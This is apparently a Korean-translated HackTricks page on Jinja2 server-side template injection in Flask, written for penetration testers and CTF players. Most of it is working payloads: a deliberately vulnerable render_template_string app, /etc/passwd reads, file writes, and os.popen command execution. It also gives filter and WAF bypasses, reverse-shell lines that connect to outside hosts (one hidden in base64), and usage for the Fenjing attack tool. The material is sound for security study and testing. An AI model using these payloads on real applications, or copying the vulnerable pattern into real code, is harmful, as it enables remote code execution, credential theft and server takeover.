Jinja2 SSTI

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

실습

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

기타

디버그 문장

Debug Extension이 활성화되어 있으면 debug 태그를 사용하여 현재 컨텍스트와 사용 가능한 필터 및 테스트를 덤프할 수 있습니다. 이는 디버거를 설정하지 않고 템플릿에서 사용 가능한 항목을 확인하는 데 유용합니다.

<pre>

{% raw %}
{% debug %}
{% endraw %}








</pre>

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

모든 config 변수 덤프

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}






Jinja Injection

무엇보다도, Jinja injection에서는 find a way to escape from the sandbox 해야 하며 정규 python 실행 흐름에 대한 접근을 복구해야 합니다. 이를 위해서는 abuse objects 해야 하는데, 이러한 객체들은 from the non-sandboxed environment but are accessible from the sandbox.

전역 객체 접근

예를 들어, 코드 render_template("hello.html", username=username, email=email)에서는 객체 username과 email이 come from the non-sanboxed python env 이며 accessible inside the sandboxed env.
또한, always accessible from the sandboxed env 다른 객체들도 존재합니다. 이들은:

[]
''
()
dict
config
request

복구 <class ‘object’>

그런 다음, 이러한 객체들로부터 <class 'object'> 클래스에 도달해야 정의된 클래스들복구하려 시도할 수 있습니다. 이는 이 객체에서 __subclasses__ 메서드를 호출하여 non-sandboxed python env의 모든 클래스에 접근할 수 있기 때문입니다.

해당 object class에 접근하기 위해서는, 클래스 객체에 접근한 뒤 __base__, __mro__()[-1] 또는 .mro()[-1] 중 하나에 접근해야 합니다. 그리고 이 object class에 도달한 후 **__subclasses__()**를 호출합니다.

다음 예제들을 확인하세요:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

복구한 후 <class 'object'>를 얻고 __subclasses__를 호출했으므로 이제 해당 클래스들을 사용해 파일을 읽고 쓰거나 코드를 실행할 수 있습니다.

__subclasses__ 호출은 우리에게 수백 개의 새로운 함수에 접근할 수 있는 기회를 주었습니다. 우리는 file class에 접근해 read/write files를 하거나 os처럼 allows to execute commands 기능에 접근할 수 있는 클래스에 접근할 수 있으면 만족할 것입니다.

Read/Write remote file

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

{% ... %}를 이용한 Payloads

가끔 {{ ... }}가 차단되거나 필터링되거나 인젝션이 statement-friendly 컨텍스트 안에 위치할 수 있습니다. 그런 경우에는 {% with %}, {% if %}, {% for %}, {% set %} 같은 Jinja statement 태그들, 그리고 최신 버전에서는 {% print %}를 악용하여 코드를 실행하거나 블록 본문을 통해 leak data 하거나 블라인드 부작용을 유발할 수 있습니다.

{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}

# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}

# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}

# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}

# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}

대상이 일부 문자를 필터링하지만 statement tags는 여전히 허용하는 경우, 이 아이디어를 filter bypassesno-{{ / no-. / no-_ example과 결합하세요. 또한 {% print %}는 필수적이지 않다는 점을 기억하세요: 해당 기능이 없을 경우 {% with %}, {% if %}, {% set %}{% for %}만으로도 템플릿을 계속 악용하기에 충분한 경우가 많습니다.

To learn about more classes that you can use to escape you can check:

Bypass Python sandboxes

Filter bypasses

Common bypasses

These bypass will allow us to access the attributes of the objects without using some chars.
We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}






HTML 인코딩 방지

기본적으로 Flask는 보안상의 이유로 템플릿 내부의 모든 내용을 HTML로 인코딩합니다:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

The safe 필터를 사용하면 JavaScript와 HTML을 페이지에 HTML 인코딩되지 않은 상태로 주입할 수 있습니다. 다음과 같습니다:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE: 악의적인 config file을 작성하여.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

몇몇 문자 없이

다음 문자를 사용하지 않고 {{ . [** **]** **}}** **_`

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}






Jinja Injection <class ‘object’> 없이

global objects로부터, **RCE without using that class.**에 도달하는 또 다른 방법이 있습니다.
만약 해당 globals objects에서 어떤 function에 접근할 수 있다면, **__globals__.__builtins__**에 접근할 수 있고 거기서부터 RCE는 매우 simple합니다.

다음 명령으로 접근 가능한 객체들인 request, config 및 기타 흥미로운 global object에서 find functions할 수 있습니다:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

몇몇 함수를 찾으면 다음과 같이 builtins를 복원할 수 있습니다:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing 은 CTFs에 특화된 도구이지만 실제 상황에서 잘못된 파라미터를 bruteforce하는 데에도 유용할 수 있다. 이 도구는 필터를 탐지하기 위해 단어와 쿼리를 뿌려 bypasses를 찾아내며, 대화형 콘솔도 제공한다.

영어-중국어 Google 번역

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

참고자료

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기